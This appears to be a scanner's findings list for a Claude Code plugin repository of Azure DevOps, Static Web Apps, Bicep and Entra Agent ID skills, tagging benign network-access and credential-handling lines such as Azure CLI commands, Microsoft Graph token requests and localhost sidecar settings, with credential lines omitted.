- [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 183
- [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 192
- [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/advanced-usage.md
- Network accessline 159
| Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | - Network accessline 160
|---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID | - Network accessline 161
| `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/long-comments-on-windows.md
- Network accessline 54
The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/org-and-security.md
- Network accessline 22
az devops project list --organization https://dev.azure.com/{org} - Network accessline 29
az devops project create \ --name myNewProject \ --organization https://dev.azure.com/{org} \ - Network accessline 30
--name myNewProject \ --organization https://dev.azure.com/{org} \ --description "My new DevOps project" \ - Network accessline 31
--organization https://dev.azure.com/{org} \ - Network accessline 40
az devops project show --project {project-name} --org https://dev.azure.com/{org} - Network accessline 46
az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes - Network accessline 155
az devops user list --org https://dev.azure.com/{org} - Network accessline 162
az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org} - Network accessline 168
az devops user add --email user@example.com --license-type express --org https://dev.azure.com/{org} - Network accessline 169
--email user@example.com \ --license-type express \ --org https://dev.azure.com/{org} - Network accessline 171
--org https://dev.azure.com/{org} - Network accessline 177
az devops user update --user {user-id-or-email} --license-type advanced --org https://dev.azure.com/{org} - Network accessline 178
--user {user-id-or-email} \ --license-type advanced \ --org https://dev.azure.com/{org} - Network accessline 180
--org https://dev.azure.com/{org} - Network accessline 186
az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes - Network accessline 440
# List installed extensions az devops extension list --org https://dev.azure.com/{org} - Network accessline 441
az devops extension list --org https://dev.azure.com/{org} - Network accessline 446
# Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 447
az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 450
az devops extension install \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} \ - Network accessline 451
--ext-id {extension-id} \ --org https://dev.azure.com/{org} \ --publisher {publisher-id} - Network accessline 452
--org https://dev.azure.com/{org} \ - Network accessline 456
az devops extension enable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 458
--org https://dev.azure.com/{org} - Network accessline 461
az devops extension disable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 463
--org https://dev.azure.com/{org} - Network accessline 466
az devops extension uninstall \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} --yes - Network accessline 468
--org https://dev.azure.com/{org} --yes
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/pipelines-and-builds.md
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/repos-and-prs.md
- Network accessline 17
az repos list --org https://dev.azure.com/{org} --project {project} - Network accessline 50
# Import from public Git repository az repos import create \ --git-source-url https://github.com/user/repo \ - Network accessline 51
az repos import create --git-source-url https://github.com/user/repo - Network accessline 52
--git-source-url https://github.com/user/repo \ - Network accessline 55
# Import with authentication az repos import create \ --git-source-url https://github.com/{owner}/{repo} \ - Network accessline 56
az repos import create --git-source-url https://github.com/{owner}/{repo} - Network accessline 57
--git-source-url https://github.com/{owner}/{repo} \
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/workflows-and-patterns.md
- Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Network accessline 177
"serviceEndpointId": "$SERVICE_ENDPOINT_ID" }, "url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Network accessline 178
[Credential-related source omitted] - Network accessline 179
"url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Access to secretsline 185
[Credential-related source omitted] - Network accessline 333
# Alternative download method curl -L "$BACKUP_URL" -o ./output/backup.zip - Network accessline 334
curl -L "$BACKUP_URL" -o ./output/backup.zip - Access to secretsline 460
[Credential-related source omitted] - Access to secretsline 461
[Credential-related source omitted] - Network accessline 553
if [[ "$RESULT" == "failed" ]]; then # Send Slack alert curl -X POST "$slack_webhook" \ - Network accessline 554
# Send Slack alert curl -X POST "$slack_webhook" \ -H 'Content-Type: application/json' \ - Network accessline 555
curl -X POST "$slack_webhook" \
harness/claude-code/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md
- Network accessline 27
- `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall - Network accessline 29
- Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`. - Network accessline 50
{ "$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 51
"$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 57
"appBuildCommand": "npm run build", "run": "npm run dev", "appDevserverUrl": "http://localhost:3000" - Network accessline 58
"run": "npm run dev", "appDevserverUrl": "http://localhost:3000" } - Network accessline 59
"appDevserverUrl": "http://localhost:3000" - Network accessline 83
| `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, - Network accessline 84
| `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star - Network accessline 85
| `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, - Network accessline 131
Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag - Network accessline 211
### Validation - Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 212
- Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 213
- API `http://localhost:4280/api/message`: pass | fail | not applicable - Network accessline 228
- [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)
harness/claude-code/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md
harness/claude-code/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md
- Network accessline 24
- A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta - Network accessline 26
- Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. - Network accessline 32
| Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/ - Network accessline 33
| Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m - Network accessline 34
| Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | - Network accessline 35
| Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. | - Network accessline 41
1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a - Network accessline 42
2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio - Network accessline 43
3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. - Network accessline 44
4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree - Network accessline 45
5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes. - Network accessline 68
| Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep - Network accessline 69
|--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource - Network accessline 70
| avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 71
| avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 72
| avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 91
- [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) - Network accessline 92
- [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)
harness/claude-code/plugins/azure-governance/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azqr-recommendations.md
- Network accessline 171
- [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 172
- [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources) - Network accessline 173
- [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/) - Network accessline 174
- [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)
harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azqr-remediation-patterns.md
- Network accessline 375
- [Azure CLI Reference](https://learn.microsoft.com/cli/azure/) - Network accessline 376
- [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/) - Network accessline 377
- [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)
harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azure-quick-review.md
- Network accessline 154
- [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 155
- [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 156
- [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 157
- [Azure Proactive Resiliency Library](https://aka.ms/aprl)
harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md
- Network accessline 12
import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential()); - Network accessline 14
const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md
- Network accessline 25
|----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Network accessline 26
| Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator | - Network accessline 27
| API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 124
[Credential-related source omitted] - Network accessline 126
GRAPH = "https://graph.microsoft.com/v1.0" - Network accessline 150
"displayName": "My Agent Blueprint", "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 151
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 152
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 153
], } resp = requests.post( - Network accessline 154
} resp = requests.post( f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint", - Network accessline 155
resp = requests.post( - Network accessline 172
sp_body = {"appId": app_id} resp = requests.post( - Network accessline 173
resp = requests.post( - Network accessline 189
"agentIdentityBlueprintId": app_id, "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 190
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 191
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 192
], } resp = requests.post( - Network accessline 193
} resp = requests.post( f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity", - Network accessline 194
resp = requests.post( - Network accessline 232
graph_sp = requests.get( - Network accessline 239
requests.post( - Network accessline 257
requests.post( - Network accessline 294
Base URL: `https://graph.microsoft.com/v1.0`. - Network accessline 359
| Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 360
|----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai- - Network accessline 361
| Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 362
| AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup | - Network accessline 363
| Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 364
| Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/known-limitations.md
- Network accessline 3
Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues) - Network accessline 51
27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For - Network accessline 52
28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit - Network accessline 56
Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/oauth2-token-flow.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 21
requests.patch( - Network accessline 33
fic_body = { "name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 34
"name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", "subject": mi_principal_id, # The MI's object ID (principalId), NOT client ID - Network accessline 35
"issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 37
"audiences": ["api://AzureADTokenExchange"], } requests.post( - Network accessline 38
} requests.post( f"{GRAPH}/applications/{blueprint_obj_id}" - Network accessline 39
requests.post( - Network accessline 62
jwks_client = PyJWKClient( f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 63
f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 70
algorithms=["RS256"], audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 71
audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", ) - Network accessline 72
issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 79
- **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 80
- **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d - Network accessline 81
- **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 82
- **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash). - Network accessline 100
$credential = Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 101
-Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 111
resp = requests.post(
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/obo-blueprint-setup.md
- Network accessline 39
}, } requests.patch( - Network accessline 40
} requests.patch( f"{GRAPH}/applications/{blueprint_obj_id}", - Network accessline 41
requests.patch( - Network accessline 63
requests.post( - Network accessline 82
tenant_id=tenant_id, client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", - Network accessline 83
client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", ) - Network accessline 84
redirect_uri="http://localhost:8400", - Network accessline 89
> If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/runtime-token-exchange.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 8
Step 1: Blueprint credentials + fmi_path → Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 9
Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 19
TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 34
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 35
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 36
req = urllib.request.Request( - Network accessline 38
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 39
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read())["access_token"] - Network accessline 40
with urllib.request.urlopen(req, timeout=10) as resp: - Access to secretsline 41
[Credential-related source omitted] - Network accessline 47
|-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Network accessline 48
| `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID | - Network accessline 49
| `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Access to secretsline 58
[Credential-related source omitted] - Network accessline 86
"client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", "client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", - Network accessline 87
"client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", } - Network accessline 88
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 89
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 90
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 91
req = urllib.request.Request( - Network accessline 93
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 94
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 95
with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 115
"assertion": user_token, "requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", - Network accessline 116
"requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", } - Network accessline 117
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 118
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 119
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 120
req = urllib.request.Request( - Network accessline 122
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 123
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 124
with urllib.request.urlopen(req, timeout=10) as resp:
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md
- Network accessline 13
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 16
def get_agent_token(downstream_api: str = "Graph") -> str: url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 17
url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) resp.raise_for_status() - Network accessline 18
resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 33
url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}" resp = requests.get( url, - Network accessline 34
resp = requests.get( - Network accessline 46
const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000"; - Network accessline 56
const res = await fetch(url.toString()); - Network accessline 71
[Credential-related source omitted] - Network accessline 72
resp = requests.get( - Network accessline 84
[Credential-related source omitted] - Network accessline 85
resp = requests.get( - Network accessline 105
- "5001:5000" environment: - AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 106
environment: - AzureAd__Instance=https://login.microsoftonline.com/ - AzureAd__TenantId=${TENANT_ID} - Network accessline 107
- AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 110
- AzureAd__ClientCredentials__0__SourceType=ClientSecret - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET} - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
- DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 113
- DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default - Network accessline 115
- ASPNETCORE_URLS=http://+:5000 - Network accessline 120
- "3000:3000" environment: - SIDECAR_URL=http://sidecar:5000 - Network accessline 121
environment: - SIDECAR_URL=http://sidecar:5000 - AGENT_CLIENT_ID=${AGENT_CLIENT_ID} - Network accessline 122
- SIDECAR_URL=http://sidecar:5000 - Network accessline 147
env: - name: SIDECAR_URL value: "http://localhost:5000" - Network accessline 148
- name: SIDECAR_URL value: "http://localhost:5000" - name: sidecar - Network accessline 149
value: "http://localhost:5000" - Network accessline 166
value: "SignedAssertionFilePath" - name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" - Network accessline 167
- name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" resources: - Network accessline 168
value: "http://127.0.0.1:5000" resources: requests: { memory: "128Mi", cpu: "100m" } - Network accessline 184
1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar.md
- Network accessline 5
Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags. - Network accessline 48
env: - name: AzureAd__Instance value: "https://login.microsoftonline.com/" - Network accessline 49
- name: AzureAd__Instance value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId - Network accessline 50
value: "https://login.microsoftonline.com/" - Network accessline 82
- name: DownstreamApis__Graph__BaseUrl value: "https://graph.microsoft.com/v1.0/" - Network accessline 83
value: "https://graph.microsoft.com/v1.0/" - Network accessline 84
- name: DownstreamApis__Graph__Scopes__0 value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken - Network accessline 85
value: "https://graph.microsoft.com/.default" - Network accessline 117
| Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 118
|----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 119
| SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 120
| Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 121
| Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration | - Network accessline 122
| Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints | - Network accessline 123
| Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities | - Network accessline 124
| Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security | - Network accessline 125
| OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md
- Network accessline 73
- **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 74
- **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow - Network accessline 75
- **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 205
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/) - Network accessline 206
- [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols) - Network accessline 207
- [MSAL Documentation](https://learn.microsoft.com/entra/msal/) - Network accessline 208
- [Microsoft Graph API](https://learn.microsoft.com/graph/)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep
- Network accessline 18
@description('Redirect URIs for web application') param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' - Network accessline 19
